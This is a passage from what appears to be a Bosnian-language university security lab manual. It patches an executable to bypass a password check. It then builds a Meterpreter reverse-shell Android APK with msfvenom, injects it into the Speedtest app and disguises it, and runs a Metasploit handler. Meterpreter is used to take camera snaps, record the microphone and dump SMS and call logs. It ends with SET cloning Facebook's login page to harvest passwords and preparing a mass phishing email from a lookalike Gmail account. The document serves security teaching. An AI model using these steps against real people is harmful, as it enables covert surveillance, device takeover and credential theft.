Kikom na dugme ”Close” zatvoren je prozor za izmjenu instrukcija. Sada je
nastavljeno izvrSavanje programa instrukciju po instrukciju pritiskom na tipku
F8. 7Izvrsene” su dvije NOP instrukcije koje su zamijenile staru instrukciju i
ispisana je poruka o odobrenom pristupu.

Ova izmjena bi trebala biti dovoljna da se ostvari zeljena funkcionalnost. Ako
korisnik unese ispravnu lozinku svakako se izvrSavaju ove instrukcije, za ispis po-
ruke o odobrenom pristupu, a za pogresnu vise nema skoka na instrukcije za ispis
poruke o zabranjenom pristupu. Po izvrSenja instrukcija za ispis poruka da je
pristup odobren svakako (bezuslovno) se izvrsava instrukcija JMP koja preskace
instrukcije za ispis poruke o zabranjenom pristupu.

Sad je jos preostalo da se ova izmjena sac¢uva i napravi izvrina verzija pro-
grama sa izmjenom. Potrebno je kliknuti desnim dugmetom negdje u asemblerski
kod, pa izabrati " Edit—Copy all modifications to executable”. U novom prozoru
koji se otvori kliknuti desnim dugmetom i izabrat ”Save file...”. U prozoru sa upo-
zorenjem da se mijenja postojeée verzija datoteke sa diska potrebno je kliknuti na
dugme ”Yes”. Potrebno je unijeti novo ime programa. (NAPOMENA: U imenu
ne bi trebala biti rije¢ ”patch” jer onda Windows sprecava njeno izvrSavanje, sma-
trajuéi da je to izmijenjena verzija programa koji je zasti¢en autorskim pravima).

Izabrano je ime ranjiv_sve.exe. Sa komandne linije isprobano je pokretanje
programa bez lozinke, sa pogre$snom i ispravnom lozinkom. Izmijenjeni program
se ponasao kako je i oc¢ekivano. Za svaku lozinku je ispisivao poruku da je pristup
odobren. Ovo je prikazano na slici 12.12.
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ommand Prompt

sUserssstudentadsDocumentss\TS »ranjiv_sve.exe
potreba: ranjiv_sve.exe <lozinkaX>

sUserssstudentadsDocumentss\TS»ranjiv_sve.exe pogresna

++++++++

ristup odobhren.
++++++

lserssstudentadsDocuments~TS>ranjiv_sve.exe tajna

++++++++

Pristup odobren.
++++++++++ 4+

wlzerssstudentad Documents~T5>

4

Slika 12.12: Izmijenjeni ranjiv.exe - izvr§avanje na Windows 7

Ovim je pokazan jedan jednostavan primjer izmjene analize i izmjene izvrsnog
koda kojim je omoguéena izmjena funkcionalnosti po zelji napadaca. Primjer
je jednostavan radi pokazivanja principa. Mogucée je shvatiti kako je ovakve i
slozenije izmjene mogudée raditi i na slozenijim programima.






13

VJEZBA: Sigurnost mobilnih uredaja

Upoznavanje studenata sa slicnostima i razlikama u iskoriStavanju sigurnos-
nih propusta i zaStitama izmedu racunara i mobilnih uredaja. Za teoretsko
objasnjenje sigurnosti mobilnih uredaja i aplikacija vidjeti knjige [7] 1 [11], te
dokumentaciju proizvodaca operativnih sistema mobilnih uredaja.

13.1 Upotreba Metasploit za pravljenje zlonamjerne
Android aplikacije

Koristenjem Metasploit napraviti zlonamjernu Android aplikaciju koja, sa uredaja
na koji je instalirana, uspostavlja konekciju ka Metasploit serveru preko koje us-
postavlja Meterpreter sesiju. Aplikaciju napraviti na dva nacina:

e Posebna aplikacija bez drugih funkcionalnosti
e U postojecu aplikaciju ubaciti zlonamjerni kod, ali zadrzati njenu postojeéu
funkcionalnost

RjeSenje:

13.1.1 Posebna zlonamjerna Android aplikacija

Za pravljenje zlonamjerne Android aplikacije je iskoristen, ranije opisani, program
msfvenom koji je dio Metasploit-a. Kod prethodne upotrebe msfvenom u poglavlju
11, izvrseno je ubacivanje zlonamjernog koda u postojeéu Windows izvrsnu dato-
teku. Ovdje se pravi nova (.apk) instalaciona datoteka Android aplikacije. Sli¢no
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kao i kod prethodne upotrebe bilo je potrebno prilikom pokretanja msfvenom pu-
tem parametara komande definisati Zzeljeni rezultat. Koristena komanda, ¢iji su
parametri objasnjeni ispod, je (u jednoj liniji):

sudo msfvenom —p android/meterpreter/reverse_tcp\\
LHOST=192.168.10.134 LPORT=443 —o zli.apk

e Opcija 7-p” (—payload) oznacava kod za izvrSavanje zlonamjernih akcija
(payload) koji se zeli koristiti. Izabran je, i prethodno ¢esto koristeni, kod,
ali ovaj put za Android platformu, koji pokre¢e meterpreter TCP sesiju sa
mobilnog Android uredaja zrtve ka rac¢unaru napadaca;

— Parametar "LHOST” je dio podesavanja koda koji se izvrsava i oznacava
IP adresu sa kojom zrtva treba uspostaviti meterpreter sesiju. Izabrana
je IP adresa ra¢unara na kom je pokrenut Metasploit server koji oc¢ekuje
ovu konekciju, 192.168.10.134;

— Parametar "LPORT” je, takode, dio podesavanja koda koji se izvrSava i
oznaCava port sa kojim zrtva treba uspostaviti meterpreter sesiju. Iz-
abran je port 443 da se osigura prolazak kroz firewall, kako je ranije
objasnjeno.

e Opcija”-0” (—out) oznacava naziv izlazne datoteke koja je rezultat izvrsavanja
komande. Izabrano je ime ”zli.apk”.

Po izvrSenju komande dobiva se obavjestenje da je msfvenom sam izabrao
dalvik arhitekturu i Android platformu na osnovu izabranog payload-a. Posto
nije izabrano kodiranje niti navedeni zabranjeni znakovi msfvenom je napravio
datoteku u izvornom formatu bez ikakvih izmjena. Ispisuje se veli¢ina datoteke
od 8322 bajta i izabrani naziv ”zli.apk”.

Nagziv zlonamjerne datoteke ukazuje na njenu nedobronamjernost. U stvarnim
napadima ovaj naziv bi bio napravljen da prevari zrtvu.

Da bi se aplikacija instalirala na Android uredaja neophodno je da instalaci-
ona (.apk) datoteka bude potpisana. Detaljne informacije o procesu potpisivanje
mogu se naéi na odgovarajucoj stranici dokumentacije Android Studija [53]. Ov-
dje je pokazan najjednostavniji nac¢in potpisivanja.

Za ovo se koristi biblioteka openjdk-8-jdk-headless, pa ju je potrebno ins-
talirati (ako nije instalirana) komandom:
sudo apt-get install openjdk-8-jdk-headless

Prvo je potrebno generisati kljué i spremiste kljuceva (keystore), ako ranije
nisu napravljeni, Komanda koristena za to je (u jednoj liniji):
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keytool —genkeypair —v —keystore sasa.keystore
—alias sasaKljuc —keyalg RSA —keysize 2048 —validity 365

e Opcija ”-genkeypair” generiSe par klju¢eva (javni i privatni). Ova opcija ima

parametre:

— Parametar ”-v” oznac¢ava da komanda treba ispisivati sve poruke (verbose);

— Parametar ”-keystore” definiSe naziv spremista kljuceva. Izabran je naziv
”sasa.keystore”;

— Parametar ”-alias” definiSe naziv za klju¢ koji se koristi prilikom njegove
upotrebe za potpisivanje. Izabran je naziv ”sasaKljuc”;

— Parametar ”-keyalg” definiSe izabrani kriptografski algoritam. Izabran je
"RSA”;

— Parametar ”-keysize” definise veli¢inu kljuca u bitima. Izabrana je veli¢ina
od 2048 bita;

— Parametar ”-validity” definiSe duzinu validnosti klju¢a u danima. Izabrana
je velicina od 365 dana;

Po izvrsenju komande potrebno je unijeti podatke za certifikat o onom na koga
se klju¢ odnosi. Podaci mogu biti potpuno izmisljeni. Izabrani podaci prikazani
su na slici 13.1.

Tokom generisanja para kljuceva i spremista bilo je potrebno izabrati lozinku
za pristup spremistu i lozinku za pristup klju¢u. Radi jednostavnosti upotrebe
izabrana je ista lozinka.

Nakon $to je generisan klju¢ (par) i pohranjen u spremise, taj klju¢ se moze
koristiti za potpisivanje APK datoteke. Komanda koristena za potpisivanje je (u
jednoj liniji:
jarsigner —verbose —sigalg SHAlwithRSA —digestalg SHA1

—keystore sasa.keystore zli.apk sasaKljuc

Opcija ”-verbose” oznacava da komanda treba ispisivati sve poruke;
Opcija ”-sigalg” oznacava izabrani kriptografski algoritam potpisivanja. Iza-
bran je ”SHA1withRSA”.

e Opcija ”-digestalg” oznacava izabrani kriptografski algoritam hash-iranja. Iz-
abran je "SHA1”.

e Opcija ”-keystore” oznacava spremiste kljuceva iz kog treba ucitati kljuc
za potpisivanje. Izabrano je, prethodnom komandom napravljeno, spremiste
”sasa.keystore”.

e Parametar "zli.apk” oznacava datoteku koja se potpisuje;
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@S E smrdovic@VB1604: ~/Documents/TS/Mobilni
smrdovic@VB1604:~/Documents/TS/Mobilni$ keytool -genkeypair -v -keystore sasa.ke
ystore -alias sasaKljuc -keyalg RSA -keysize 2048 -validity 365
Enter keystore password:
What is your first and last name?
[Unknown]: Sasa
What is the name of your organizational unit?
[Unknown]: RI
What is the name of your organization?
[Unknown]: ETF
What is the name of your City or Locality?
[Unknown]: Sarajevo
What is the name of your State or Province?
[Unknown]: FBiH
What is the two-letter country code for this unit?
[Unknown]: BA
Is CN=Sasa, OU=RI, O=ETF, L=Sarajevo, ST=FBiH, C=BA correct?
[no]: vyes

Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) wi
th a validity of 365 days
for: CN=Sasa, OU=RI, 0=ETF, L=Sarajevo, ST=FBiH, C=BA
Enter key password for <sasaKljuc=>
(RETURN if same as keystore password):
[Storing sasa.keystore]
smrdovic@VB1604:~/Documents/TS/Mobilnis ]

Slika 13.1: Generisanje kljuca za potpisivanje aplikacije

e Parametar "sasaKljuc” definiSe naziv kljuca koji treba da se koristi za potpi-
sivanje.

Nakon unosenja komande bio je potrebno unijeti i izabranu lozinku za
spremiste kljuceva (i klju¢). Rezultat izvrsenja komande je potpisana APK dato-
teka koja moze biti dostavljena zrtvi da instalira zlonamjernu aplikaciju.

13.1.2 Umetanje zlonamjernog koda u postojecu Android aplikaciju

Za ubacivanje zlonamjernog koda u postojeéu Android aplikaciju ponovo je
koristen msfvenom. Kao aplikacija u koju se ubacuje zlonamjerni kod izabrana
je Speedtest.net kompanije Ookia'. Ovo je popularna aplikacija za mjerenje
brzine pristupa Internetu. APK datoteka aplikacije preuzeta je sa web lokacije
APKMirror (https://www.apkmirror.com/). Izabrana je azurna verzija aplika-
cije 3.2.34 u trenutku preuzimanja. Nakon preuzimanja ime APK datoteke, koje
je bilo relativno dugacko promijenjeno je na speedtest.apk.

! Izbor ove aplikacije ne zna¢i da je samo ona podlozna ovoj izmjeni. Mogla je biti
izabrana i bilo koja druga Android aplikacija
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Prije pokretanja msfvenom bilo je potrebno instalirati biblioteku zipalign
ako nije bila instalirana, komandom:
sudo apt-get install zipalign

Koristena msfvenom komanda, ¢ija nova opcija je objasnjena ispod, je (u jed-
noj liniji):
sudo sudo msfvenom —x speedtest .apk

—p android/meterpreter /reverse_tcp LHOST=192.168.10.134
LPORT=443 —o0 zli_speedtest .apk

e Nova opcija ”-x” (—template) oznacava datoteku sa aplikacijom u koju treba
ubaciti zlonamjerni kod. Izabrane je datoteka ”speedtest.apk”.

Tokom izvrsenja komande ispisuje se obavijest o dekompajliranju originalne APK
datoteke, kao i APK datoteke sa zlonamjernim kodom. Zlonamjerni kod se do-
daje kao paket u originalnu aplikaciju i osigurava se njegovo izvrSavanje prilikom
pokretanja aplikacije. U manifest nove aplikacije ubacuju se potrebna prava da bi
zlonamjerni kod mogao obavljati svoju funkciju. Nova verzija aplikacije se kreira i
potpisuje u sklopu ove komande, pa nije potrebno dodatno potpisivati aplikaciju.
Veli¢ina nove datoteke je malo (oko 1%) vecéa od originalne.

Naziv zlonamjerne datoteke z1i_speedtest.apk promijenjen je u naziv origi-
nalne datoteke speedtest.apk da bi se prikrila njena zlonamjernost i predstavila
kao originalna aplikacija.

13.2 Instalacija na uredaj i pokretanje
Instalirati aplikaciju na mobilni Android uredaj i pokrenuti je.

Rjesenje: Sada je potrebno zrtvu navesti da preuzme i pokrene instalaciju
ove zlonamjerne aplikacije. Tim pitanjem se bavi poglavlje u ljudskom faktoru
u sigurnosti (Poglavlje 14). Ovdje se pretpostavlja da postoji na¢in da se to uradi.

13.2.1 Posebna zlonamjerna Android aplikacija

Posto aplikacija nije preuzeta sa Google Play Android ne dozvoljava njenu ins-
talaciju. Da bi instalacija bila moguca potrebno je da na Android uredaju bude
omogucena instalacija aplikacija iz nepoznatog izvora. Ovo se omogucava kroz
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H !B W @ 09:27

Security

Device security

Screen lock
PIN

Automatically lock

Install blocked 5 seconds after sleep

For security, your tablet is set to block installation of apps

2 Power button instantly locks .
obtained from unknown sources.

CANCEL  SETTINGS Lock screen message

None

Passwords

Make passwords visible .

Device administration

Device administrators
View or deactivate device administrators

Unknown sources [
Allow installation of apps from sources other than the Play Store

Credential storage

Storage type
Hardware-backed

Trusted credentials
Display trusted CA certificates

Install from storage
Install certificates from storage

Slika 13.2: Android - Instalacija iz nepoznatih izvora

”Settings—Security”, oznacavanjem stavke ” Unknown sources” kao na slici 13.2.

Kako je uobic¢ajeno na Android uredajima, prilikom instalacije aplikacija trazi
da korisnik prihvati prava pristupa koja aplikacija ocekuje. Ova zlonamjerna apli-
kacija trazi mnogo prava, ali korisnici kad odluce instalirati neku aplikaciju obi¢no
ne obra¢aju mnogo paznje na trazena prava i sve odobravaju. Po instalaciji An-
droid nudi da pokrene aplikaciju, koja se zove ”MainActivity”. Dio ovog procesa
prikazan je na slici 13.3.

Kao i kod prethodnih sliénih napada, prije pokretanja zlonamjerne aplikacija
na Android uredaju zrtve potrebno je na rac¢unaru napadaca pokrenuti proces
koji prihvata konekciju i po njoj uspostavlja meterpreter sesiju. To se postize
na slijede¢i nacin:



13.2 Instalacija na uredaj i pokretanje 293

9 MainActivity @ Mainactivity

Do you want to install this application? It will get access to:  App installed

modify system settings
take pictures and videos

modify your contacts
read your contacts

precise location (GPS and network-based)
record audio

directly call phone numbers

® this may cost you money

read call log
read phone status and identity

CANCEL INSTALL

Slika 13.3: Android - Prava pristupa za aplikaciju

Potrebno je pokrenuti Metasploit konzolu:
sudo msfconsole

Potrebno je izabrati da se koristi genericki kod (exploit):
use exploit/multi/handler

Potrebno je izabrati da se o¢ekuje Android meterpreter reverzna konekcija po
TCP, te podesiti parametre (LHOST i LPORT) za konekciju (analogno onom §to
je ubaceno kao zlonamjerni kod):
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.10.134
set LPORT 443
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Na kraju je potrebno pokrenuti definisani napad, proces koji o¢ekuje konek-
ciju:

exploit

Nakon unosenja komandi Metasploit prelazi u stanje ocekivanja konekcija,
kako je prikazano na slici 13.4.

msf > use exploit/multi/handler

msf exploit(hsz ) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp

nsf exploit( ) > set LHOST 192.168.10.134

LHOST => 192.168.10.134

msf exploit( ) > set LPORT 443

LPORT => 443

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.160.134:443
‘*] Starting the payload handler...

Slika 13.4: Pokretanje meterpreter listener

Sada je potrebno da zrtva pokrene zlonamjernu aplikaciju na Android uredaju.
Na uredaju zrtve se tada ne desi nista. Izgleda kao da nikakva aplikacija nije po-
krenuta.

Istovremeno se u pozadini, nevidljivo Zrtvi pokreée meterpreter sesija sa
napadacem, kako se vidi na slici 13.5.

[*] Started reverse TCP handler on 192.168.160.134:443

[*] Starting the payload handler...

[*] Sending stage (67339 bytes) to 192.168.160.105

[*] Meterpreter session 1 opened (192.168.10.134:443 -> 192.168.10.105:33972) at
2017-08-22 09:45:23 +0200

meterpreter > ]

Slika 13.5: Metasploit - meterpreter sesija od zrtve
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13.2.2 Postojeca Android aplikacija sa umetnutim zlonamjernim
kodom

Iako originalna speedtest.net aplikacija postoji na Google Play Android ne do-
zvoljava instalaciju izmijenjene datoteke jer nije preuzeta sa Google Play. 1 za
instalaciju ove aplikacije potrebno je da bude omoguéena instalacija aplikacija iz
nepoznatog izvora.

I sada se prilikom instalacije aplikacija trazi da korisnik prihvati prava pris-
tupa koja aplikacija ocekuje. Zlonamjerna aplikacija trazi mnogo prava, ali koris-
nici kad odluce instalirati neku aplikaciju obi¢no ne obrac¢aju mnogo paznje na
trazena prava i sve odobravaju. Po instalaciji Android nudi da pokrene aplikaciju,
koja se zove kao i originalna aplikacija ”Speedtest” i ima identi¢nu ikonu.

I sada je prije pokretanja zlonamjerne aplikacija na Android uredaju Zrtve
potrebno je na racunaru napadaca pokrenuti proces koji prihvata konekciju i po
njoj uspostavlja meterpreter sesiju. Ako proces nije ostao pokrenut od pret-
hodne aplikacije, potrebno je ponoviti komande:
sudo msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.10.134
set LPORT 443
exploit

Sada je potrebno da zrtva pokrene Speedtest aplikaciju sa ubacenim zlona-
mjernim kodom na Android uredaju. Nakon pokretanja aplikacije, na uredaju
Zrtve se prikazuje pocetni prozor aplikacije kao na slici 13.6. Aplikacija radi na
identican nac¢in kao i originalna i korisnik je moze normalno koristiti.

Istovremeno se u pozadini, nevidljivo zrtvi pokreée meterpreter sesija sa na-
padacem, na isti nacin kao i na slici 13.5.

13.3 Mogucénosti Meterpreter-a na Android uredajima

Po uspostavljanju Meterpreter sesije sa Metasploit racunara uraditi slijedece:

e Napraviti snimak sa kamerom uredaja
e Napraviti snimak sa mikrofonom uredaja
e Preuzeti SMS-ove sa uredaja
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Slika 13.6: Speedtest.net - pocetni ekran

e Preuzeti istoriju poziva sa uredaja

Rjesenje: Ovaj dio identican je za obje aplikacije: samostalnu zlonamjernu i
izmijenjenu postojecu aplikaciju u koju je ubacen zlonamjerni kod. Uspostavljena
meterpreter sesija iskoristena je da se pokazu neke od moguénosti meterpreter-
a na Android uredajima.

Komandom sysinfo dobijaju se informacije o sistemu sa kojim je Meterpreter
povezan kao na slici 13.7.

Snimak kamerom uredaja pravi se komandom webcam_snap. Napravljeni sni-
mak pohranjuje se u datoteku na racunar napadaca i prikazuje kako se vidi na
slici 13.8.

Snimak sa mikrofona uredaja pravi se komandom (u jednoj liniji):
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[*] Meterpreter session 1 opened (192.168.10.134:443 -> 192.168.10.105:33972) at
2017-08-22 09:45:23 +0200

meterpreter > sysinfo
Computer : localhost

0s : Android 6.0.1 - Linux 3.4.0-gad29d11 (armv7l)
Meterpreter : dalvik/android
meterpreter > ||

Slika 13.7: Meterpreter - Informacije o udaljenom sistemu
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meterpreter > webcam_snap
[*] Starting...

[+#+] Got frame

[*] Stopped

Webcam shot saved to: [home/smrdovic/Documents/TS/Mobilni/aYgqlCjf.jpeg

Slika 13.8: Meterpreter - snimak kamerom Android uredaja

record_mic —d 10
—f /home/smrdovic/Documents/TS/Mobilni/SnimakZvuka . wav

Napravljeni snimak pohranjuje se u datoteku na ra¢unar napadaca. Ovdje
je definisano da snimanje traje 10 sekundi (-d 10) i da se snimak pohrani u
datoteku: /home/smrdovic/Documents/TS/Mobilni/SnimakZvuka.wav (-f). Re-
zultat izvrSenja komande prikazan je na slici 13.9.
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meterpreter > record_mic -d 10 -f /home/smrdovic/Documents/TS/Mobilni/SnimakZvuk
a.wav

[*] starting...

[*] Stopped

Audio saved to: [home/smrdovic/Documents/TS/Mobilni/SnimakZvuka.wav

meterpreter > [j

Slika 13.9: Meterpreter - snimak zvuka mikrofonom Android uredaja

Preuzimanje SMS-ova sa uredaja radi se komandom dump_sms. Preuzeti SMS-
ovi pohranjuju se u datoteku na ra¢unar napadaca.

Preuzimanje istorije poziva sa uredaja radi se komandom dump_calllog. Pre-
uzeta istorija pohranjuje se u datoteku na racunar napadaca.

Rezultat izvrsavanja ovih komandi prikazan je na slici 13.10.

meterpreter > dump_sms

[*] Fetching 1 sms message

[*] SMS message saved to: sms_dump_20170823113754.txt

meterpreter > dump_calllog !
[*] Fetching 2 entries

[*] Call log saved to calllog_dump_20170823114049.txt

meterpreter > ||

Slika 13.10: Meterpreter - preuzimanje SMS-ova i istorija poziva
Broj SMS-ova i poziva je mali jer se radi o testnom uredaju. U svakom slucaju
ove komande preuzimaju sve SMS i pozive sa uredaja.

Sadrzaj datoteke sa SMS-ovima (sms_dump_20170823113754.txt) ispisan je
ispod:

[+] SMS messages dump

Date: 2017—-08-23 11:37:54 +0200

OS: Android 4.1.2 — Linux 3.4.0 (armvT7l)
Remote IP: 192.168.10.143

Remote Port: 44239

#1
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Type : Incoming

Date : 2017—02—28 11:24:52

Address : 1204

Status : NOTRECEIVED

Message : Na bonus racunu imate 3KM i 300MB. Vise
informacija o usluzi potrazite u brosuri,

www. bhtelecom .ba ili pozovite 1444.

Sadrzaj datoteke sa ispisom istorije poziva (calllog_dump_20170823114049.txt),
pri ¢emu su cifre brojeva telefona zamijenjene za znakom X (radi o¢uvanje pri-
vatnosti), ispisan je ispod:

[+] Call log dump

Date: 2017-08-23 11:40:50 40200

OS: Android 4.1.2 — Linux 3.4.0 (armvT7l)
Remote IP: 192.168.10.143

Remote Port: 44239

#1

Number : 061XXXXXX

Name : null

Date : Tue Feb 28 11:24:11 CET 2017
Type : OUTGOING

Duration: 41

#2

Number : 438761XXXXXX

Name : null

Date : Fri Mar 10 14:38:55 CET 2017
Type : INCOMING

Duration: 0

Ostale komande i moguénosti mogu se pronaci u dokumentaciji za Metasploit
i web lokaciji (Offensive Security).

Bitno je napomenuti da se samostalna zlonamjerna aplikacija ne prikazuje
medu aktivnim aplikacijama. Iz tog razloga zrtva nije svjesna meterpreter ko-
nekcije i ne moze je zatvoriti ako ne zaustavi aplikaciju prisilno.
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Aplikacija u koju je ubac¢en zlonamjerni kod radi kao i sve druge aplikacije,
moze se vidjeti i zaustaviti. Njenim zaustavljanjem prekida se i meterpreter se-
sija sa racunarom napadaca.
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VJEZBA: Ljudski faktor - Analiza i pravljenje
phishing poruka elektronske poste

Upoznavanje studenata sa moguéim napadima koji iskoristavaju ponasanje ljudi.
Odli¢na knjiga koja daje razli¢ite primjere ovakvih napada i prevara je [28]

Konkretno je potrebno analizirati i napraviti phishing napad.

14.1 Upotreba ”The Social-Engineer Toolkit (SET)” za
phishing napade

Za ove potrebe koristiti alat za drustveni inzenjering ” The Social-Engineer Tool-
kit (SET)” (https://www.trustedsec.com/social-engineer-toolkit /).

Rjesenje: SET se instalira na ra¢unar sa Linux OS. Instalacija je prili¢no jed-
nostavna. Potrebno je preuzeti SET sa izvorne lokacije i smjestiti ga u odabranu
lokaciju na rac¢unaru (ovdje /opt/set). Ovo se radi komandom (u jednoj liniji);
sudo git clone
https://github.com/trustedsec/social-engineer-toolkit/ /opt/set/

Ako git nije instaliran, potrebno ga je prethodno instalirati komandom:
sudo apt-get install git

Po preuzimanju, potrebno je pozicionirati se u folder u koji je preuzet SET i
pokrenuti instalaciju:
cd /opt/set
sudo ./setup.py install
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Prilikom instalacije na Ubuntu 16,04 javlja se upozorenje o nedostatku phpb
paketa. Razlog za ovo je §to Ubuntu 16.04 ima php?7.

Prije pokretanja SET treba provjeriti da li je putanja do Metasploit ispravna
u datoteci /etc/setoolkit/set.config. Potrebno je da ta putanja bude do lo-
kacije gdje se nalazi msfconsole. Takode je potrebno podesiti da se ne koristi
Apache server, koji nije instaliran ve¢ da SET koristi svoj. Ovdje je bilo potrebno
azurirati ove postavke da glase:

METASPLOIT_PATH=/opt/metasploit/app
APACHE_SERVER=0FF

SET se pokre¢e komandom:
sudo setoolkit

Po pokretanju.potrebno je prihvatiti uslove koristenja (unosenjem ”y”). Na-
kon toga prikazuje se osnovni meni SET-a kao na slici 14.1.

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Slika 14.1: SET - Pocetni meni

SET interfejs je tekstualni i stavke menija se biraju izborom broja uz stavku.

Kao i sa drugim alatima do sada, ovdje su prikazane samo neke od moguénosti
SET-a, a vise se moze pronaéi u SET dokumentaciji [20] i [12], te knjigama [21]
i [24].
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Prvo je prezentirana krada prijavnih podataka (korisnicka imena i lozinke)
putem kopiranje izgleda web lokacije od ¢ijih korisnika se zele ukrasti podaci. Za
ovo je potrebno izabrati:

1) Social-Engineering Attacks

na pocetnom SET meniju. Zatim:

2) Website Attack Vectors

na narednom meniju, pa:

3) Credential Harvester Attack Method
na meniju koji se pojavi, te:

2) Site Cloner

na posljednjem meniju.

Nakon toga je potrebno unijeti IP adresu na kojoj ¢e se pojaviti lazna (kopi-
rana) stranica, a to je IP adresa ra¢unara na kom se izvrgava SET. Unesena je
adresa:
192.168.10.134
Zatim je potrebno unijeti adresu (URL) stranice koja se Zeli kopirati. Unesen je
URL za Facebook:
https://www.facebook.com/

SET ispisuje informaciju da je pokrenuo laznu stranicu na unesenoj adresi i
portu 80. Tu ocekuje prijave i evidentira i ispisuje unesene podatke. Izgled ekrana
prikazan je na slici 14.2.

Sada je potrebno zrtvu navesti da pristupi navedenoj IP adresi misle¢i da se
radi o Facebook. Ovo se moze posti¢i putem phishing poruke e-poste ili na slican
nacin. Kada zrtva sa web preglednikom pristupi adresi prikazuje joj se kopija
Facebook stranice za prijavu kao na slici 14.3.

Ako zrtva unese svoje podatke za prijavu na Facebook ti podaci ¢e biti is-
pisani napadacu u SET konzoli, a zrtva ¢e biti preusmjerena na pravu Face-
book stranicu za prijavu. Podaci koji se prikazuju u SET konzoli su zapravo sva
polja koja je forma proslijedila u sklopu POST zahtjeva ka serveru. Medu tim
poljima SET pokusava da pronade ona koja predstavljaju korisnicko ime i lo-
zinku. Facebook prijavna forma Salje mnogo viSe parametara nego dva vidljiva
na formi, ali je SET uspio pronaéi korisnicko ime i lozinki koji su uneseni na
formi: sasa@mail.server.ba/Lozinka i ispisao ih je u konzoli kako se vidi sa
slike 14.4.

Po zavrsetku prikupljanja lozinki pritiskom na kombinaciju tipki Ctrl-C ge-
nerise se izvjestaj o prikupljenim korisnickim imenima i lozinkama. Izvjestaj se
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1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

set:webattack=2
-] Credential harvester will allow you to utilize the clone capabilities within SE

-

[-]1 to harvest credentials or parameters from a website as well as place them into
a report
[-1 This option is used for what IP the server will POST to.
[ ] If you're using an external IP, use your external IP for this
battack> IP address for the POST back in Harvester/Tabnabbing:192.168.10.134
1 SET supports both HTTP and HTTPS
] Example: http://www.thisisafakesite.com
tiwebattacks Enter the url to clone:https://www.facebook.com/

[*] Cloning the website: https://login.facebook.com/login.php
[*] This could take a little bit...

*] The Sdcial—Engiﬁeer foolkif tredential Harvester Attéck
*] Credential Harvester is running on port 80
*] Information will be displayed to you as it arrives below:

Slika 14.2: SET - Pokretanje krade web lozinki

generiSe u dva formata, html i XML, i ¢uva u datoteku ¢ije se ime i putanja do
nje ispisuju u konzoli.

Ovaj napad se moze uciniti opasnijim ako napada¢ registruje web domen sa
imenom slicnim Facebook (www.faceloook.com, www.faecbook.com), napravi is-
pravan TLS certifikat i poveze ovaj domen sa IP adresom na kojoj se nalazi lazna
pocetna Facebook stranica. U tom slucaju ¢e zrtvi biti teze uociti napad.

Sada je prethodni napad, u kom je napravljena lazna Facebook stranica
za prijavu kombinovan sa slanjem poruke e-poste. Za ovo je potrebno pono-
viti prethodne korake kojim je aktivirana lazna Facebook stranica na IP adresi
192.168.10.134, U drugom terminalu potrebno je pokrenuti novu instancu SET
istom komandom (sudo setoolkit). Onda je kroz nivo menija potrebno izabrati:
1) Social-Engineering Attacks
5) Mass Mailer Attack
na narednom meniju, moguce je izabrati da se poruka salje na samo jednu adresu
ili na viSe adresa koje se uc¢itavaju iz datoteke. Izabrana je druga opcija:

2. E-Mail Attack Mass Mailer
Sad je potrebno unijeti putanju do datoteke u kojoj su upisane adrese e-poste,
po jedna u svakom redu, na koje se zeli poslati poruka. Unesena je putanja do
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- O X
E3@ Prijavi se na Facebook | Fa.. X 4

| € (D 192.168.10.134 @ Psearch bl =] + » =

faceboolk s

Prijavite se u Facebook

Adresa e-poéte ili broj telefona

Lozinka

Zaboravili ste ratun? - Registrirajte se 7a Facebook

Slika 14.3: SET - Lazna Facebook stranica

POSSIBLE USERNAME FIELD FOUND: email=sasa@mail.server.ba
POSSIBLE PASSWORD FIELD FOUND: pass=Lozinka

PARAM: persistent=

PARAM: default persistent=1

PARAM: gsstamp=W1tbMiwxNSWyMiwONSWIMSWINYyw40SWSMCWSMywWwxMDESMTA
0SWX0DgsMIESLDIYNywyMjgsMjM3LDIzOCwYNDgsMzA3LDMyMCwzM jksMzM5LD
ANjYsSNDcxLDUYNSWINDgsNTc5LDU405w2MzASNjc3LDY5Niw3MDMsNzI5LDczM
czNmdGU jVOREtKbUSoMXNWN2ZzWWZ CenV2R3NNTC1PWDVZS jVaUUNMR jg1VTIy
1ZWSF9jQVVUC3INSZDNGUOIMa0xIbzZIVUNGNGNZd2 tvaE1lhek lWZV10QzNjY19
cmZzNGsSOLVRGOEU3c211dVdfLWRQRFESSXR1dEdSVEIICEZZazBXZ1BCWTIwb1
ESB9hRAt6eUFCQVAENXLgHTY1XQ==

[#] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

Slika 14.4: SET - Ukradeni Facebook korisni¢ko ime i lozinka
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datoteke:

> Path to the file to import into SET:
/home/smrdovic/Documents/TS/adrese_za phishing.txt
na kojoj je napravljena datoteka ¢iji je sadrzaj sljededi:
zrtval@adresa.eposte.ba
zrtva2@druga.adresa.eposte.ba
sasa.mrdovic@etf.unsa.ba

Nakon toga je potrebno izabrati da li ée se poruka slati sa Gmail-a ili sa vlas-
titog servera e-posSte (ili otvorenog relay). Radi jednostavnosti izabrano je da se
poruka salje sa Gmail
1. Use a gmail Account for your email attack.

Prethodno je na Gmail napravljena adresa sasa.mdrovic@gmail.com gdje su
zamijenjena dva slova u prezimenu autora u nadi da to zrtve napada neée pri-
mijetiti. Sad SET trazi da se upise Gmail adresa sa koje ¢e se poslati poruka.
Unesena je navedena adresa:
> Your gmail email address:sasa.mdrovic
Nakon toga bilo je potrebno unijeti ime posiljaoca (FROM NAME) koje ée se
prikazati zrtvi. Uneseno je ime autora:
> The FROM NAME the user will see:Sasa Mrdovic

SET zatim o¢ekuje da se unese lozinka za Gmail adresu sa koje ¢e se poslati
poruka. Unesena je odgovarajuca lozinka.
Email password:xxkskkkskokokkkk
SET nudi da se poruka oznaci kao visokog prioriteta, $to je prihvaéeno unosenjem
teksta:
> Flag this message/s as high priority? [yes|no]:yes
Ponudena je moguénost da se poruci doda datoteka kao prilog, ali ta moguénost
nije sada koriStena:
